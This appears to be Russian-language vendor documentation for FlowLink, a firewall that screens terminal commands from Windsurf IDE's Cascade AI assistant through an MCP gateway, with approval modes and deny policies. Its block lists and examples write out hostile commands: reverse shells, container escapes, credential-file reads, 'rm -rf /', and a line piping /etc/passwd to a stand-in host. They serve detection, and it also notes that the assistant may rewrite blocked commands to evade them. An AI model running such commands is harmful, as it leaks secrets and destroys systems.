Защита Windsurf IDE
Маршрутизация всех MCP-вызовов инструментов Windsurf через FlowLink — Runtime AI Firewall с 7-уровневым анализом
~6 мин чтения
Обзор
Windsurf (Codeium) — AI-powered IDE с нативной поддержкой Model Context Protocol. Cascade, встроенный AI-ассистент Windsurf, может генерировать и выполнять терминальные команды, писать файлы и управлять Docker-контейнерами — всё это без участия разработчика.
FlowLink действует как MCP-шлюз между Windsurf и операционной системой. Каждая команда, которую Cascade хочет выполнить, проходит через 7-уровневый Shield-анализ FlowLink. Опасные команды блокируются, подозрительные — запрашивают одобрение человека.
✓ Windsurf + FlowLink = Safe AI Development
Полная интеграция без изменения workflow. Windsurf не «знает» о FlowLink — просто получает безопасные результаты через стандартный MCP-протокол.
Установка
Шаг 1 — Установите FlowLink CLI
1# macOS / Linux2curl -fsSL https://flowlink.flow-masters.ru/install.sh | bash34# Или через Homebrew5brew install flow-masters/tap/flowlink67# Проверьте установку8flowlink-relay version
Шаг 2 — Настройте MCP конфиг Windsurf
Windsurf читает MCP-конфигурацию из файла в домашней директории:
1# Создать MCP конфиг для Windsurf2mkdir -p ~/.windsurf3cat > ~/.windsurf/mcp.json << 'EOF'4{5 "mcpServers": {6 "flowlink": {7 "command": "flowlink-relay",8 "args": ["mcp"]9 }10 }11}12EOF
Шаг 3 — Перезапустите Windsurf
После изменения mcp.json полностью закройте и откройте Windsurf. Проверьте статус подключения в Settings → MCP Servers — напротив «flowlink» должен гореть зелёный индикатор.
⚠️ Важно
Убедитесь, что бинарный flowlink доступен в PATH. Проверьте командой which flowlink-relay. Если используете нестандартный путь, укажите полный путь в поле command.
Конфигурация
Полный пример mcp.json
1{2 "mcpServers": {3 "flowlink": {4 "command": "flowlink-relay",5 "args": ["mcp"],6 "env": {7 "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",8 "FLOWLINK_API_KEY": "flk_live_abc123...",9 "FLOWLINK_AGENT_NAME": "windsurf-dev",10 "FLOWLINK_LOG_LEVEL": "info",11 "FLOWLINK_APPROVAL_MODE": "ask_dangerous"12 }13 }14 }15}
Переменные окружения
| Переменная | Описание | По умолчанию |
|---|---|---|
FLOWLINK_RELAY_URL | Адрес релея FlowLink | https://relay.flow-masters.ru:9081 |
FLOWLINK_API_KEY | API ключ для авторизации | — |
FLOWLINK_AGENT_NAME | Имя агента в логах и Dashboard | windsurf |
FLOWLINK_LOG_LEVEL | Уровень логирования | info |
FLOWLINK_APPROVAL_MODE | Режим одобрения: allow_all / ask_dangerous / ask_all / deny_all | ask_dangerous |
Создание API ключа
1# Создайте ключ с ограниченными scopes2curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \3 -H "Authorization: Bearer YOUR_JWT_TOKEN" \4 -H "Content-Type: application/json" \5 -d '{6 "name": "windsurf-prod",7 "scopes": ["agents:write", "commands:read", "approvals:write"]8 }'
Как это работает
Когда Windsurf Cascade решает выполнить команду, она вызывает MCP-инструмент. FlowLink перехватывает этот вызов и проводит полный анализ прежде чем команда достигнет оболочки.
Архитектура
Windsurf Cascade
AI Assistant
MCP Protocol
tools/call
FlowLink
MCP Gateway
Shield
L1–L7 Analysis
Policy
Rules Engine
Execute
✓ Safe
Block
✗ Denied
Windsurf Cascade генерирует код и определяет необходимость терминальной команды
Cascade вызывает MCP-инструмент через JSON-RPC → FlowLink MCP сервер
FlowLink извлекает команду и передаёт в Shield-анализатор
Shield выполняет 7-уровневую проверку: L1→L7
Policy Engine сопоставляет результат с правилами (allow/deny/ask)
Разрешённая команда выполняется, результат возвращается в Cascade
Заблокированные команды возвращают причину блокировки
Что блокируется
FlowLink анализирует команды по 7 уровням. Каждый уровень отвечает за свою категорию угроз:
Docker / Container Escape
--privileged-v /:/host--pid=host--cap-add=ALLExfiltration / Data Leak
curl | POSTnc -e /bin/shwget + /etc/shadowSensitive File Access
/etc/passwd~/.ssh/~/.env.aws/credentialsDestructive Commands
rm -rf /DROP TABLEDELETE FROM> /dev/sdaNetwork Exploitation
nmapiptables -Fsocat proxyreverse shellsPrivilege Escalation
chmod 777 /sudo suchown rootsetuidCustom Policy Rules
--privileged**production**--force*Пример анализа команды
1# Windsurf AI предложил:2docker run -v $(pwd):/app -w /app --rm node:18 npm test34# FlowLink Shield анализ:5✓ L1: Нет Docker escape паттернов6✓ L2: Нет экстракции данных7✓ L3: Нет доступа к чувствительным файлам8✓ L4: Неразрушительная команда9✓ L5: Нет подозрительных сетевых операций10✓ L6: Нет повышения привилегий11✓ L7: Нет нарушений кастомных политик1213→ Результат: ALLOWED ✓
Интеграция с Cascade Chat
Cascade — встроенный AI-ассистент Windsurf, аналогичный GitHub Copilot Chat. Когда Cascade решает выполнить shell-команду (например, для установки зависимостей или запуска тестов), он использует MCP-инструменты. FlowLink перехватывает эти вызовы прозрачно.
Управление зависимостями
npm installpip installcargo addgo mod tidyDocker операции
docker builddocker-compose updocker runФайловые операции
rm -rfmkdir -pcp -rchmod +xСистемные команды
systemctl restartservice startenvТипичный диалог Cascade → FlowLink
npm install --legacy-peer-depsnpm testОдобрение команд (Human-in-the-Loop)
FlowLink поддерживает несколько режимов одобрения. В режиме ask_dangerous подозрительные команды приостанавливаются до подтверждения через Telegram-бот или Web Dashboard.
Режимы одобрения
allow_allРазрешить всё
Все команды выполняются без одобрения. Только логирование.
ask_dangerous★ РекомендуетсяСпрашивать опасные ★
Безопасные команды проходят автоматически, опасные требуют одобрения.
ask_allСпрашивать всё
Каждая команда требует одобрения оператора. Максимальная безопасность.
deny_allЗаблокировать всё
Все команды блокируются. Режим аудита и отладки.
Уведомление в Telegram
Когда Windsurf генерирует подозрительную команду, вы получите уведомление:
Одобрение команды Windsurf AI
@flowlink_bot • Агент: windsurf-dev
Сгенерированная команда:
kubectl delete namespace production --force --grace-period=0⚠️ L4: Деструктивная команда — удаление namespace
Примеры
Windsurf предлагает развернуть контейнер с привилегиями
docker run --privileged -v /:/host alpine shCascade устанавливает зависимости проекта
pip install -r requirements.txtWindsurf создаёт команду для очистки кэша
rm -rf ~/.cache/pipCascade предлагает отладочный скрипт с утечкой данных
cat /etc/passwd | curl -X POST https://debug.example.com/dataWindsurf пытается очистить Docker-образы
docker system prune -a --volumes -fCascade запускает миграции базы данных
npx prisma migrate deployСоздание политики для Windsurf
Создайте специализированную политику для Windsurf агента:
1# Создать политику2curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \3 -H "Content-Type: application/json" \4 -d '{5 "name": "Windsurf IDE",6 "description": "Команды, генерируемые AI в Windsurf"7 }'89# Добавить правила для типичных Windsurf команд10curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \11 -H "Content-Type: application/json" \12 -d '{13 "rule_type": "allow",14 "pattern": "npm install *",15 "priority": 10016 }'1718curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \19 -H "Content-Type: application/json" \20 -d '{21 "rule_type": "allow",22 "pattern": "docker build *",23 "priority": 10024 }'2526curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \27 -H "Content-Type: application/json" \28 -d '{29 "rule_type": "deny",30 "pattern": "*--privileged*",31 "priority": 30032 }'3334curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \35 -H "Content-Type: application/json" \36 -d '{37 "rule_type": "deny",38 "pattern": "*rm -rf /*",39 "priority": 30040 }'
Решение проблем
⚠️ Windsurf не видит MCP сервер
Проверьте ~/.windsurf/mcp.json на валидный JSON. Убедитесь, что flowlink доступен в PATH (which flowlink-relay). Полностью перезапустите Windsurf. Проверьте Settings → MCP Servers.
⚠️ Команды выполняются без анализа FlowLink
Убедитесь, что flowlink-agent запущен: flowlink-agent status. Проверьте логи: flowlink-agent logs. Убедитесь, что windsurf использует именно flowlink MCP, а не встроенный terminal.
⚠️ Ошибки подключения к релею (relay)
Проверьте FLOWLINK_RELAY_URL в mcp.json. Убедитесь, что порт 9081 доступен (telnet relay.flow-masters.ru 9081). При использовании корпоративного прокси настройте HTTPS_PROXY.
⚠️ Cascade повторяет заблокированные команды
Windsurf Cascade может переписывать команды, обходя блокировку. Используйте FLOWLINK_APPROVAL_MODE=ask_all для максимального контроля. Добавьте паттерн в deny-политику.
⚠️ Медленный отклик при выполнении команд
Задержка может быть вызвана сетевым пингом к релею. Используйте ближайший relay-эндпоинт. Установите FLOWLINK_LOG_LEVEL=debug для диагностики узких мест.
⚠️ API ключ отклонён (401/403)
Проверьте валидность ключа и его scopes. Ключ должен иметь scopes: agents:write, commands:read, approvals:write. Создайте новый ключ через Dashboard или API.
⚠️ Несовместимость версий flowlink
Убедитесь, что версия flowlink ≥ 2.5.0. Обновите: flowlink-relay update. Проверьте changelog на breaking changes.
Лучшие практики
Используйте ask_dangerous в production
Безопасные команды проходят мгновенно, опасные требуют одобрения — оптимальный баланс скорости и безопасности.
Настройте специфичные политики
Разрешите типичные команды (npm, docker build, pytest) и блокируйте опасные паттерны (--privileged, rm -rf /).
Мониторьте паттерны в Dashboard
Windsurf Cascade может генерировать повторяющиеся опасные команды. Используйте аналитику для выявления трендов.
Используйте Telegram для одобрений
Быстрое одобрение безопасных команд одним нажатием, мгновенная блокировка подозрительных.